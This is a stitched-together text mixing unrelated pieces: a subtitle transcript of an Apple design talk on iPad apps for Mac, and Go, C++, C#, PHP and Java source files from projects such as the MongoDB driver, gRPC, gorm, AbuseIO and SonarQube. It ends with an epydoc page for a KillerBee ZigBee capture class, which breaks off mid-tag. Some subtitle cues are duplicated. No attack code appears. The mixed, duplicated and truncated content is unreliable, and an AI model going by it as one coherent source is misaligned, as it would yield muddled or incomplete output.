00:28:25.116 --> 00:28:26.106 A:middle we come to an app that we've 00:28:26.106 --> 00:28:28.086 A:middle never used, use a keyboard 00:28:28.086 --> 00:28:29.566 A:middle shortcut that we already know 00:28:29.826 --> 00:28:32.316 A:middle and get the intended result that 00:28:32.316 --> 00:28:33.176 A:middle we expected. 00:28:33.736 --> 00:28:34.976 A:middle Am I right or am I right? 00:28:35.516 --> 00:28:39.326 A:middle [ Applause ] 00:28:39.826 --> 00:28:40.466 A:middle I think I'm right. 00:28:42.336 --> 00:28:44.346 A:middle So you have to do the work to 00:28:44.436 --> 00:28:45.606 A:middle make that happen. 00:28:45.606 --> 00:28:47.296 A:middle So, that was a lot about menu 00:28:47.296 --> 00:28:48.826 A:middle bars but I wanted to focus on 00:28:48.826 --> 00:28:49.976 A:middle them because they're core to the 00:28:49.976 --> 00:28:52.346 A:middle macOS experience and require 00:28:52.446 --> 00:28:53.526 A:middle real consideration. 00:28:54.496 --> 00:28:58.336 A:middle OK. Now, getting your iPad app 00:28:58.426 --> 00:29:00.096 A:middle running on a Mac should be 00:28:58.426 --> 00:29:00.096 A:middle running on a Mac should be 00:29:00.136 --> 00:29:01.096 A:middle pretty easy. 00:29:01.836 --> 00:29:03.626 A:middle But that's just the first step. 00:29:04.376 --> 00:29:06.366 A:middle Mac offers you an opportunity to 00:29:06.366 --> 00:29:09.136 A:middle increase the power, utility and 00:29:09.186 --> 00:29:11.226 A:middle efficiency of your app but 00:29:11.286 --> 00:29:12.766 A:middle realizing that opportunity 00:29:13.036 --> 00:29:14.536 A:middle involves some thoughtful design 00:29:14.536 --> 00:29:16.406 A:middle choices and a bit of effort. 00:29:17.456 --> 00:29:19.156 A:middle Now, I know we've covered a lot 00:29:19.156 --> 00:29:19.836 A:middle of ground today. 00:29:20.386 --> 00:29:21.376 A:middle For those of you who weren't 00:29:21.376 --> 00:29:23.076 A:middle taking notes, shame on you. 00:29:23.816 --> 00:29:26.016 A:middle But, don't worry, I'm just 00:29:26.016 --> 00:29:28.006 A:middle kidding, don't feel bad, we have 00:29:28.006 --> 00:29:29.786 A:middle a dedicated page for you in the 00:29:29.786 --> 00:29:31.186 A:middle Human Interface Guidelines. 00:29:31.676 --> 00:29:33.746 A:middle It includes lots of useful tips 00:29:33.746 --> 00:29:35.056 A:middle and information about everything 00:29:35.056 --> 00:29:36.926 A:middle I covered today and much more. 00:29:37.816 --> 00:29:38.886 A:middle And I highly recommend 00:29:38.886 --> 00:29:40.076 A:middle downloading the macOS Apple 00:29:40.566 --> 00:29:41.686 A:middle Design Resources. 00:29:42.156 --> 00:29:43.506 A:middle They're available for Sketch, 00:29:43.766 --> 00:29:45.806 A:middle Adobe Photoshop and Adobe XD. 00:29:45.936 --> 00:29:48.426 A:middle You can find all of that at 00:29:48.426 --> 00:29:51.116 A:middle developer.apple.com/design. 00:29:52.296 --> 00:29:54.036 A:middle And you should also check out 00:29:54.136 --> 00:29:55.956 A:middle these great sessions about 00:29:55.956 --> 00:29:57.806 A:middle taking your iPad app to the next 00:29:57.806 --> 00:30:01.046 A:middle level and font management, all 00:29:57.806 --> 00:30:01.046 A:middle level and font management, all 00:30:01.136 --> 00:30:02.386 A:middle sorts of good stuff about font 00:30:02.466 --> 00:30:03.046 A:middle management. 00:30:04.086 --> 00:30:05.686 A:middle Thank you so much for your time. 00:30:05.686 --> 00:30:06.966 A:middle I'm really looking forward to 00:30:06.966 --> 00:30:07.826 A:middle what you create. 00:30:08.508 --> 00:30:10.508 A:middle [ Applause ]
{ "pile_set_name": "Github" }
// Copyright (C) MongoDB, Inc. 2017-present. // // Licensed under the Apache License, Version 2.0 (the "License"); you may // not use this file except in compliance with the License. You may obtain // a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 package mtest import ( "errors" "fmt" "go.mongodb.org/mongo-driver/x/mongo/driver" "go.mongodb.org/mongo-driver/x/mongo/driver/wiremessage" ) func copyBytes(original []byte) []byte { newSlice := make([]byte, len(original)) copy(newSlice, original) return newSlice } // assertMsgSectionType asserts that the next section type in the OP_MSG wire message is equal to the provided type. // It returns the remainder of the wire message and an error if the section type could not be read or was not equal // to the expected type. func assertMsgSectionType(wm []byte, expected wiremessage.SectionType) ([]byte, error) { var actual wiremessage.SectionType var ok bool actual, wm, ok = wiremessage.ReadMsgSectionType(wm) if !ok { return wm, errors.New("failed to read section type") } if expected != actual { return wm, fmt.Errorf("unexpected section type %v; expected %v", actual, expected) } return wm, nil } func parseOpCompressed(wm []byte) (wiremessage.OpCode, []byte, error) { // Store the original opcode to forward to another parser later. originalOpcode, wm, ok := wiremessage.ReadCompressedOriginalOpCode(wm) if !ok { return originalOpcode, nil, errors.New("failed to read original opcode") } uncompressedSize, wm, ok := wiremessage.ReadCompressedUncompressedSize(wm) if !ok { return originalOpcode, nil, errors.New("failed to read uncompressed size") } compressorID, wm, ok := wiremessage.ReadCompressedCompressorID(wm) if !ok { return originalOpcode, nil, errors.New("failed to read compressor ID") } compressedMsg, wm, ok := wiremessage.ReadCompressedCompressedMessage(wm, int32(len(wm))) opts := driver.CompressionOpts{ Compressor: compressorID, UncompressedSize: uncompressedSize, } decompressed, err := driver.DecompressPayload(compressedMsg, opts) if err != nil { return originalOpcode, nil, fmt.Errorf("error decompressing payload: %v", err) } return originalOpcode, decompressed, nil }
{ "pile_set_name": "Github" }
// // // Copyright 2016 gRPC authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // #include <grpc/support/port_platform.h> #include "src/core/ext/filters/client_channel/subchannel_index.h" #include <stdbool.h> #include <string.h> #include <grpc/support/alloc.h> #include <grpc/support/string_util.h> #include "src/core/lib/avl/avl.h" #include "src/core/lib/channel/channel_args.h" #include "src/core/lib/gpr/tls.h" // a map of subchannel_key --> subchannel, used for detecting connections // to the same destination in order to share them static grpc_avl g_subchannel_index; static gpr_mu g_mu; static gpr_refcount g_refcount; struct grpc_subchannel_key { grpc_subchannel_args args; }; static bool g_force_creation = false; static grpc_subchannel_key* create_key( const grpc_subchannel_args* args, grpc_channel_args* (*copy_channel_args)(const grpc_channel_args* args)) { grpc_subchannel_key* k = static_cast<grpc_subchannel_key*>(gpr_malloc(sizeof(*k))); k->args.filter_count = args->filter_count; if (k->args.filter_count > 0) { k->args.filters = static_cast<const grpc_channel_filter**>( gpr_malloc(sizeof(*k->args.filters) * k->args.filter_count)); memcpy(reinterpret_cast<grpc_channel_filter*>(k->args.filters), args->filters, sizeof(*k->args.filters) * k->args.filter_count); } else { k->args.filters = nullptr; } k->args.args = copy_channel_args(args->args); return k; } grpc_subchannel_key* grpc_subchannel_key_create( const grpc_subchannel_args* args) { return create_key(args, grpc_channel_args_normalize); } static grpc_subchannel_key* subchannel_key_copy(grpc_subchannel_key* k) { return create_key(&k->args, grpc_channel_args_copy); } int grpc_subchannel_key_compare(const grpc_subchannel_key* a, const grpc_subchannel_key* b) { if (g_force_creation) return false; int c = GPR_ICMP(a->args.filter_count, b->args.filter_count); if (c != 0) return c; if (a->args.filter_count > 0) { c = memcmp(a->args.filters, b->args.filters, a->args.filter_count * sizeof(*a->args.filters)); if (c != 0) return c; } return grpc_channel_args_compare(a->args.args, b->args.args); } void grpc_subchannel_key_destroy(grpc_subchannel_key* k) { gpr_free(reinterpret_cast<grpc_channel_args*>(k->args.filters)); grpc_channel_args_destroy(const_cast<grpc_channel_args*>(k->args.args)); gpr_free(k); } static void sck_avl_destroy(void* p, void* user_data) { grpc_subchannel_key_destroy(static_cast<grpc_subchannel_key*>(p)); } static void* sck_avl_copy(void* p, void* unused) { return subchannel_key_copy(static_cast<grpc_subchannel_key*>(p)); } static long sck_avl_compare(void* a, void* b, void* unused) { return grpc_subchannel_key_compare(static_cast<grpc_subchannel_key*>(a), static_cast<grpc_subchannel_key*>(b)); } static void scv_avl_destroy(void* p, void* user_data) { GRPC_SUBCHANNEL_WEAK_UNREF((grpc_subchannel*)p, "subchannel_index"); } static void* scv_avl_copy(void* p, void* unused) { GRPC_SUBCHANNEL_WEAK_REF((grpc_subchannel*)p, "subchannel_index"); return p; } static const grpc_avl_vtable subchannel_avl_vtable = { sck_avl_destroy, // destroy_key sck_avl_copy, // copy_key sck_avl_compare, // compare_keys scv_avl_destroy, // destroy_value scv_avl_copy // copy_value }; void grpc_subchannel_index_init(void) { g_subchannel_index = grpc_avl_create(&subchannel_avl_vtable); gpr_mu_init(&g_mu); gpr_ref_init(&g_refcount, 1); } void grpc_subchannel_index_shutdown(void) { // TODO(juanlishen): This refcounting mechanism may lead to memory leackage. // To solve that, we should force polling to flush any pending callbacks, then // shutdown safely. grpc_subchannel_index_unref(); } void grpc_subchannel_index_unref(void) { if (gpr_unref(&g_refcount)) { gpr_mu_destroy(&g_mu); grpc_avl_unref(g_subchannel_index, grpc_core::ExecCtx::Get()); } } void grpc_subchannel_index_ref(void) { gpr_ref_non_zero(&g_refcount); } grpc_subchannel* grpc_subchannel_index_find(grpc_subchannel_key* key) { // Lock, and take a reference to the subchannel index. // We don't need to do the search under a lock as avl's are immutable. gpr_mu_lock(&g_mu); grpc_avl index = grpc_avl_ref(g_subchannel_index, grpc_core::ExecCtx::Get()); gpr_mu_unlock(&g_mu); grpc_subchannel* c = GRPC_SUBCHANNEL_REF_FROM_WEAK_REF( (grpc_subchannel*)grpc_avl_get(index, key, grpc_core::ExecCtx::Get()), "index_find"); grpc_avl_unref(index, grpc_core::ExecCtx::Get()); return c; } grpc_subchannel* grpc_subchannel_index_register(grpc_subchannel_key* key, grpc_subchannel* constructed) { grpc_subchannel* c = nullptr; bool need_to_unref_constructed = false; while (c == nullptr) { need_to_unref_constructed = false; // Compare and swap loop: // - take a reference to the current index gpr_mu_lock(&g_mu); grpc_avl index = grpc_avl_ref(g_subchannel_index, grpc_core::ExecCtx::Get()); gpr_mu_unlock(&g_mu); // - Check to see if a subchannel already exists c = static_cast<grpc_subchannel*>( grpc_avl_get(index, key, grpc_core::ExecCtx::Get())); if (c != nullptr) { c = GRPC_SUBCHANNEL_REF_FROM_WEAK_REF(c, "index_register"); } if (c != nullptr) { // yes -> we're done need_to_unref_constructed = true; } else { // no -> update the avl and compare/swap grpc_avl updated = grpc_avl_add(grpc_avl_ref(index, grpc_core::ExecCtx::Get()), subchannel_key_copy(key), GRPC_SUBCHANNEL_WEAK_REF(constructed, "index_register"), grpc_core::ExecCtx::Get()); // it may happen (but it's expected to be unlikely) // that some other thread has changed the index: // compare/swap here to check that, and retry as necessary gpr_mu_lock(&g_mu); if (index.root == g_subchannel_index.root) { GPR_SWAP(grpc_avl, updated, g_subchannel_index); c = constructed; } gpr_mu_unlock(&g_mu); grpc_avl_unref(updated, grpc_core::ExecCtx::Get()); } grpc_avl_unref(index, grpc_core::ExecCtx::Get()); } if (need_to_unref_constructed) { GRPC_SUBCHANNEL_UNREF(constructed, "index_register"); } return c; } void grpc_subchannel_index_unregister(grpc_subchannel_key* key, grpc_subchannel* constructed) { bool done = false; while (!done) { // Compare and swap loop: // - take a reference to the current index gpr_mu_lock(&g_mu); grpc_avl index = grpc_avl_ref(g_subchannel_index, grpc_core::ExecCtx::Get()); gpr_mu_unlock(&g_mu); // Check to see if this key still refers to the previously // registered subchannel grpc_subchannel* c = static_cast<grpc_subchannel*>( grpc_avl_get(index, key, grpc_core::ExecCtx::Get())); if (c != constructed) { grpc_avl_unref(index, grpc_core::ExecCtx::Get()); break; } // compare and swap the update (some other thread may have // mutated the index behind us) grpc_avl updated = grpc_avl_remove(grpc_avl_ref(index, grpc_core::ExecCtx::Get()), key, grpc_core::ExecCtx::Get()); gpr_mu_lock(&g_mu); if (index.root == g_subchannel_index.root) { GPR_SWAP(grpc_avl, updated, g_subchannel_index); done = true; } gpr_mu_unlock(&g_mu); grpc_avl_unref(updated, grpc_core::ExecCtx::Get()); grpc_avl_unref(index, grpc_core::ExecCtx::Get()); } } void grpc_subchannel_index_test_only_set_force_creation(bool force_creation) { g_force_creation = force_creation; }
{ "pile_set_name": "Github" }
package gorm import ( "errors" "fmt" "reflect" "strconv" "strings" ) // preloadCallback used to preload associations func preloadCallback(scope *Scope) { if _, skip := scope.InstanceGet("gorm:skip_query_callback"); skip { return } if ap, ok := scope.Get("gorm:auto_preload"); ok { // If gorm:auto_preload IS NOT a bool then auto preload. // Else if it IS a bool, use the value if apb, ok := ap.(bool); !ok { autoPreload(scope) } else if apb { autoPreload(scope) } } if scope.Search.preload == nil || scope.HasError() { return } var ( preloadedMap = map[string]bool{} fields = scope.Fields() ) for _, preload := range scope.Search.preload { var ( preloadFields = strings.Split(preload.schema, ".") currentScope = scope currentFields = fields ) for idx, preloadField := range preloadFields { var currentPreloadConditions []interface{} if currentScope == nil { continue } // if not preloaded if preloadKey := strings.Join(preloadFields[:idx+1], "."); !preloadedMap[preloadKey] { // assign search conditions to last preload if idx == len(preloadFields)-1 { currentPreloadConditions = preload.conditions } for _, field := range currentFields { if field.Name != preloadField || field.Relationship == nil { continue } switch field.Relationship.Kind { case "has_one": currentScope.handleHasOnePreload(field, currentPreloadConditions) case "has_many": currentScope.handleHasManyPreload(field, currentPreloadConditions) case "belongs_to": currentScope.handleBelongsToPreload(field, currentPreloadConditions) case "many_to_many": currentScope.handleManyToManyPreload(field, currentPreloadConditions) default: scope.Err(errors.New("unsupported relation")) } preloadedMap[preloadKey] = true break } if !preloadedMap[preloadKey] { scope.Err(fmt.Errorf("can't preload field %s for %s", preloadField, currentScope.GetModelStruct().ModelType)) return } } // preload next level if idx < len(preloadFields)-1 { currentScope = currentScope.getColumnAsScope(preloadField) if currentScope != nil { currentFields = currentScope.Fields() } } } } } func autoPreload(scope *Scope) { for _, field := range scope.Fields() { if field.Relationship == nil { continue } if val, ok := field.TagSettingsGet("PRELOAD"); ok { if preload, err := strconv.ParseBool(val); err != nil { scope.Err(errors.New("invalid preload option")) return } else if !preload { continue } } scope.Search.Preload(field.Name) } } func (scope *Scope) generatePreloadDBWithConditions(conditions []interface{}) (*DB, []interface{}) { var ( preloadDB = scope.NewDB() preloadConditions []interface{} ) for _, condition := range conditions { if scopes, ok := condition.(func(*DB) *DB); ok { preloadDB = scopes(preloadDB) } else { preloadConditions = append(preloadConditions, condition) } } return preloadDB, preloadConditions } // handleHasOnePreload used to preload has one associations func (scope *Scope) handleHasOnePreload(field *Field, conditions []interface{}) { relation := field.Relationship // get relations's primary keys primaryKeys := scope.getColumnAsArray(relation.AssociationForeignFieldNames, scope.Value) if len(primaryKeys) == 0 { return } // preload conditions preloadDB, preloadConditions := scope.generatePreloadDBWithConditions(conditions) // find relations query := fmt.Sprintf("%v IN (%v)", toQueryCondition(scope, relation.ForeignDBNames), toQueryMarks(primaryKeys)) values := toQueryValues(primaryKeys) if relation.PolymorphicType != "" { query += fmt.Sprintf(" AND %v = ?", scope.Quote(relation.PolymorphicDBName)) values = append(values, relation.PolymorphicValue) } results := makeSlice(field.Struct.Type) scope.Err(preloadDB.Where(query, values...).Find(results, preloadConditions...).Error) // assign find results var ( resultsValue = indirect(reflect.ValueOf(results)) indirectScopeValue = scope.IndirectValue() ) if indirectScopeValue.Kind() == reflect.Slice { foreignValuesToResults := make(map[string]reflect.Value) for i := 0; i < resultsValue.Len(); i++ { result := resultsValue.Index(i) foreignValues := toString(getValueFromFields(result, relation.ForeignFieldNames)) foreignValuesToResults[foreignValues] = result } for j := 0; j < indirectScopeValue.Len(); j++ { indirectValue := indirect(indirectScopeValue.Index(j)) valueString := toString(getValueFromFields(indirectValue, relation.AssociationForeignFieldNames)) if result, found := foreignValuesToResults[valueString]; found { indirectValue.FieldByName(field.Name).Set(result) } } } else { for i := 0; i < resultsValue.Len(); i++ { result := resultsValue.Index(i) scope.Err(field.Set(result)) } } } // handleHasManyPreload used to preload has many associations func (scope *Scope) handleHasManyPreload(field *Field, conditions []interface{}) { relation := field.Relationship // get relations's primary keys primaryKeys := scope.getColumnAsArray(relation.AssociationForeignFieldNames, scope.Value) if len(primaryKeys) == 0 { return } // preload conditions preloadDB, preloadConditions := scope.generatePreloadDBWithConditions(conditions) // find relations query := fmt.Sprintf("%v IN (%v)", toQueryCondition(scope, relation.ForeignDBNames), toQueryMarks(primaryKeys)) values := toQueryValues(primaryKeys) if relation.PolymorphicType != "" { query += fmt.Sprintf(" AND %v = ?", scope.Quote(relation.PolymorphicDBName)) values = append(values, relation.PolymorphicValue) } results := makeSlice(field.Struct.Type) scope.Err(preloadDB.Where(query, values...).Find(results, preloadConditions...).Error) // assign find results var ( resultsValue = indirect(reflect.ValueOf(results)) indirectScopeValue = scope.IndirectValue() ) if indirectScopeValue.Kind() == reflect.Slice { preloadMap := make(map[string][]reflect.Value) for i := 0; i < resultsValue.Len(); i++ { result := resultsValue.Index(i) foreignValues := getValueFromFields(result, relation.ForeignFieldNames) preloadMap[toString(foreignValues)] = append(preloadMap[toString(foreignValues)], result) } for j := 0; j < indirectScopeValue.Len(); j++ { object := indirect(indirectScopeValue.Index(j)) objectRealValue := getValueFromFields(object, relation.AssociationForeignFieldNames) f := object.FieldByName(field.Name) if results, ok := preloadMap[toString(objectRealValue)]; ok { f.Set(reflect.Append(f, results...)) } else { f.Set(reflect.MakeSlice(f.Type(), 0, 0)) } } } else { scope.Err(field.Set(resultsValue)) } } // handleBelongsToPreload used to preload belongs to associations func (scope *Scope) handleBelongsToPreload(field *Field, conditions []interface{}) { relation := field.Relationship // preload conditions preloadDB, preloadConditions := scope.generatePreloadDBWithConditions(conditions) // get relations's primary keys primaryKeys := scope.getColumnAsArray(relation.ForeignFieldNames, scope.Value) if len(primaryKeys) == 0 { return } // find relations results := makeSlice(field.Struct.Type) scope.Err(preloadDB.Where(fmt.Sprintf("%v IN (%v)", toQueryCondition(scope, relation.AssociationForeignDBNames), toQueryMarks(primaryKeys)), toQueryValues(primaryKeys)...).Find(results, preloadConditions...).Error) // assign find results var ( resultsValue = indirect(reflect.ValueOf(results)) indirectScopeValue = scope.IndirectValue() ) foreignFieldToObjects := make(map[string][]*reflect.Value) if indirectScopeValue.Kind() == reflect.Slice { for j := 0; j < indirectScopeValue.Len(); j++ { object := indirect(indirectScopeValue.Index(j)) valueString := toString(getValueFromFields(object, relation.ForeignFieldNames)) foreignFieldToObjects[valueString] = append(foreignFieldToObjects[valueString], &object) } } for i := 0; i < resultsValue.Len(); i++ { result := resultsValue.Index(i) if indirectScopeValue.Kind() == reflect.Slice { valueString := toString(getValueFromFields(result, relation.AssociationForeignFieldNames)) if objects, found := foreignFieldToObjects[valueString]; found { for _, object := range objects { object.FieldByName(field.Name).Set(result) } } } else { scope.Err(field.Set(result)) } } } // handleManyToManyPreload used to preload many to many associations func (scope *Scope) handleManyToManyPreload(field *Field, conditions []interface{}) { var ( relation = field.Relationship joinTableHandler = relation.JoinTableHandler fieldType = field.Struct.Type.Elem() foreignKeyValue interface{} foreignKeyType = reflect.ValueOf(&foreignKeyValue).Type() linkHash = map[string][]reflect.Value{} isPtr bool ) if fieldType.Kind() == reflect.Ptr { isPtr = true fieldType = fieldType.Elem() } var sourceKeys = []string{} for _, key := range joinTableHandler.SourceForeignKeys() { sourceKeys = append(sourceKeys, key.DBName) } // preload conditions preloadDB, preloadConditions := scope.generatePreloadDBWithConditions(conditions) // generate query with join table newScope := scope.New(reflect.New(fieldType).Interface()) preloadDB = preloadDB.Table(newScope.TableName()).Model(newScope.Value) if len(preloadDB.search.selects) == 0 { preloadDB = preloadDB.Select("*") } preloadDB = joinTableHandler.JoinWith(joinTableHandler, preloadDB, scope.Value) // preload inline conditions if len(preloadConditions) > 0 { preloadDB = preloadDB.Where(preloadConditions[0], preloadConditions[1:]...) } rows, err := preloadDB.Rows() if scope.Err(err) != nil { return } defer rows.Close() columns, _ := rows.Columns() for rows.Next() { var ( elem = reflect.New(fieldType).Elem() fields = scope.New(elem.Addr().Interface()).Fields() ) // register foreign keys in join tables var joinTableFields []*Field for _, sourceKey := range sourceKeys { joinTableFields = append(joinTableFields, &Field{StructField: &StructField{DBName: sourceKey, IsNormal: true}, Field: reflect.New(foreignKeyType).Elem()}) } scope.scan(rows, columns, append(fields, joinTableFields...)) scope.New(elem.Addr().Interface()). InstanceSet("gorm:skip_query_callback", true). callCallbacks(scope.db.parent.callbacks.queries) var foreignKeys = make([]interface{}, len(sourceKeys)) // generate hashed forkey keys in join table for idx, joinTableField := range joinTableFields { if !joinTableField.Field.IsNil() { foreignKeys[idx] = joinTableField.Field.Elem().Interface() } } hashedSourceKeys := toString(foreignKeys) if isPtr { linkHash[hashedSourceKeys] = append(linkHash[hashedSourceKeys], elem.Addr()) } else { linkHash[hashedSourceKeys] = append(linkHash[hashedSourceKeys], elem) } } if err := rows.Err(); err != nil { scope.Err(err) } // assign find results var ( indirectScopeValue = scope.IndirectValue() fieldsSourceMap = map[string][]reflect.Value{} foreignFieldNames = []string{} ) for _, dbName := range relation.ForeignFieldNames { if field, ok := scope.FieldByName(dbName); ok { foreignFieldNames = append(foreignFieldNames, field.Name) } } if indirectScopeValue.Kind() == reflect.Slice { for j := 0; j < indirectScopeValue.Len(); j++ { object := indirect(indirectScopeValue.Index(j)) key := toString(getValueFromFields(object, foreignFieldNames)) fieldsSourceMap[key] = append(fieldsSourceMap[key], object.FieldByName(field.Name)) } } else if indirectScopeValue.IsValid() { key := toString(getValueFromFields(indirectScopeValue, foreignFieldNames)) fieldsSourceMap[key] = append(fieldsSourceMap[key], indirectScopeValue.FieldByName(field.Name)) } for source, link := range linkHash { for i, field := range fieldsSourceMap[source] { //If not 0 this means Value is a pointer and we already added preloaded models to it if fieldsSourceMap[source][i].Len() != 0 { continue } field.Set(reflect.Append(fieldsSourceMap[source][i], link...)) } } }
{ "pile_set_name": "Github" }
using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class UIDisabler : MonoBehaviour { public Selectable[] uis; public bool alsoDisableAnimator; public bool disableOnAwake; public void Awake() { if (disableOnAwake) { Disable(); } } public void Disable() { foreach(Selectable s in uis) { s.interactable = false; SetupComponents(s,false); } } public void Enable() { foreach(Selectable s in uis) { s.interactable = true; SetupComponents(s,true); } } private void SetupComponents(Selectable s, bool to) { Animator a = s.GetComponent<Animator>(); if(a != null) { if(alsoDisableAnimator) { a.enabled = to; } } //it is very likely that "Text" is for the empty area click trick Text t = s.GetComponent<Text>(); //Button b = s.GetComponent<Button>(); if( t != null) { t.enabled = to; } } }
{ "pile_set_name": "Github" }
<?php namespace AbuseIO\Console\Commands\Role; use AbuseIO\Console\Commands\AbstractShowCommand; use AbuseIO\Models\Role; use Symfony\Component\Console\Input\InputArgument; /** * Class ShowCommand. */ class ShowCommand extends AbstractShowCommand { /** * {@inherit docs}. */ protected function getAsNoun() { return 'role'; } /** * {@inherit docs}. */ protected function getAllowedArguments() { return ['role']; } /** * {@inherit docs}. */ protected function getFields() { return [ 'id', 'name', 'description', ]; } /** * {@inherit docs}. */ protected function getCollectionWithArguments() { return Role::where('id', $this->argument('role'))->orWhere('name', $this->argument('role')); } /** * {@inherit docs}. */ protected function defineInput() { return [ new InputArgument( 'role', InputArgument::REQUIRED, 'Use the id or the name for a role to show it.' ), ]; } /** * {@inherit docs}. */ protected function transformObjectToTableBody($model) { $result = parent::transformObjectToTableBody($model); $permissions = ''; foreach ($model->permissions as $permission) { $permissions .= $permission->name.PHP_EOL; } $result[] = ['Permissions', $permissions]; return $result; } }
{ "pile_set_name": "Github" }
/* * SonarQube * Copyright (C) 2009-2020 SonarSource SA * mailto:info AT sonarsource DOT com * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package org.sonar.api.batch.sensor.issue; import javax.annotation.Nullable; import org.sonar.api.batch.rule.Severity; import org.sonar.api.batch.sensor.Sensor; import org.sonar.api.rule.RuleKey; import org.sonar.api.rules.RuleType; /** * Builder for an issue imported from an external rule engine by a {@link Sensor}. * Don't forget to {@link #save()} after setting the fields. * * @since 7.2 */ public interface NewExternalIssue { /** * The {@link RuleKey} of the issue. * @deprecated since 7.4. It is misleading, because of the "external_" prefix that is added on server side. Use {@link #engineId(String)} and {@link #ruleId(String)} */ @Deprecated NewExternalIssue forRule(RuleKey ruleKey); /** * Unique identifier of the external analyzer (e.g. eslint, pmd, ...) * @since 7.4 */ NewExternalIssue engineId(String engineId); /** * Unique rule identifier for a given {@link #engineId(String)} * @since 7.4 */ NewExternalIssue ruleId(String ruleId); /** * Type of issue. */ NewExternalIssue type(RuleType type); /** * Effort to fix the issue, in minutes. */ NewExternalIssue remediationEffortMinutes(@Nullable Long effortInMinutes); /** * Set the severity of the issue. */ NewExternalIssue severity(Severity severity); /** * Primary location for this issue. */ NewExternalIssue at(NewIssueLocation primaryLocation); /** * Add a secondary location for this issue. Several secondary locations can be registered. */ NewExternalIssue addLocation(NewIssueLocation secondaryLocation); /** * Register a flow for this issue. A flow is an ordered list of issue locations that help to understand the issue. * It should be a <b>path that backtracks the issue from its primary location to the start of the flow</b>. * Several flows can be registered. */ NewExternalIssue addFlow(Iterable<NewIssueLocation> flowLocations); /** * Create a new location for this issue. First registered location is considered as primary location. */ NewIssueLocation newLocation(); /** * Save the issue. If rule key is unknown or rule not enabled in the current quality profile then a warning is logged but no exception * is thrown. */ void save(); }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="ascii"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>killerbee.zbwardrive.capture.CaptureThread</title> <link rel="stylesheet" href="epydoc.css" type="text/css" /> <script type="text/javascript" src="epydoc.js"></script> </head> <body bgcolor="white" text="black" link="blue" vlink="#204080" alink="#204080"> <!-- ==================== NAVIGATION BAR ==================== --> <table class="navbar" border="0" width="100%" cellpadding="0" bgcolor="#a0c0ff" cellspacing="0"> <tr valign="middle"> <!-- Home link --> <th>&nbsp;&nbsp;&nbsp;<a href="killerbee-module.html">Home</a>&nbsp;&nbsp;&nbsp;</th> <!-- Tree link --> <th>&nbsp;&nbsp;&nbsp;<a href="module-tree.html">Trees</a>&nbsp;&nbsp;&nbsp;</th> <!-- Index link --> <th>&nbsp;&nbsp;&nbsp;<a href="identifier-index.html">Indices</a>&nbsp;&nbsp;&nbsp;</th> <!-- Help link --> <th>&nbsp;&nbsp;&nbsp;<a href="help.html">Help</a>&nbsp;&nbsp;&nbsp;</th> <!-- Project homepage --> <th class="navbar" align="right" width="100%"> <table border="0" cellpadding="0" cellspacing="0"> <tr><th class="navbar" align="center" ><a class="navbar" target="_top" href="http://code.google.com/p/killerbee/">KillerBee</a></th> </tr></table></th> </tr> </table> <table width="100%" cellpadding="0" cellspacing="0"> <tr valign="top"> <td width="100%"> <span class="breadcrumbs"> <a href="killerbee-module.html">Package&nbsp;killerbee</a> :: <a href="killerbee.zbwardrive-module.html">Package&nbsp;zbwardrive</a> :: <a href="killerbee.zbwardrive.capture-module.html">Module&nbsp;capture</a> :: Class&nbsp;CaptureThread </span> </td> <td> <table cellpadding="0" cellspacing="0"> <!-- hide/show private --> <tr><td align="right"><span class="options">[<a href="javascript:void(0);" class="privatelink" onclick="toggle_private();">hide&nbsp;private</a>]</span></td></tr> <tr><td align="right"><span class="options" >[<a href="frames.html" target="_top">frames</a >]&nbsp;|&nbsp;<a href="killerbee.zbwardrive.capture.CaptureThread-class.html" target="_top">no&nbsp;frames</a>]</span></td></tr> </table> </td> </tr> </table> <!-- ==================== CLASS DESCRIPTION ==================== --> <h1 class="epydoc">Class CaptureThread</h1><p class="nomargin-top"><span class="codelink"><a href="killerbee.zbwardrive.capture-pysrc.html#CaptureThread">source&nbsp;code</a></span></p> <pre class="base-tree"> object --+ | threading._Verbose --+ | threading.Thread --+ | <strong class="uidshort">CaptureThread</strong> </pre> <hr /> <!-- ==================== INSTANCE METHODS ==================== --> <a name="section-InstanceMethods"></a> <table class="summary" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr bgcolor="#70b0f0" class="table-header"> <td colspan="2" class="table-header"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr valign="top"> <td align="left"><span class="table-header">Instance Methods</span></td> <td align="right" valign="top" ><span class="options">[<a href="#section-InstanceMethods" class="privatelink" onclick="toggle_private();" >hide private</a>]</span></td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type">&nbsp;</span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="killerbee.zbwardrive.capture.CaptureThread-class.html#__init__" class="summary-sig-name">__init__</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">channel</span>, <span class="summary-sig-arg">devstring</span>, <span class="summary-sig-arg">trigger</span>, <span class="summary-sig-arg">dblog</span>=<span class="summary-sig-default">False</span>, <span class="summary-sig-arg">gps</span>=<span class="summary-sig-default">None</span>)</span><br /> x.__init__(...) initializes x; see help(type(x)) for signature</td> <td align="right" valign="top"> <span class="codelink"><a 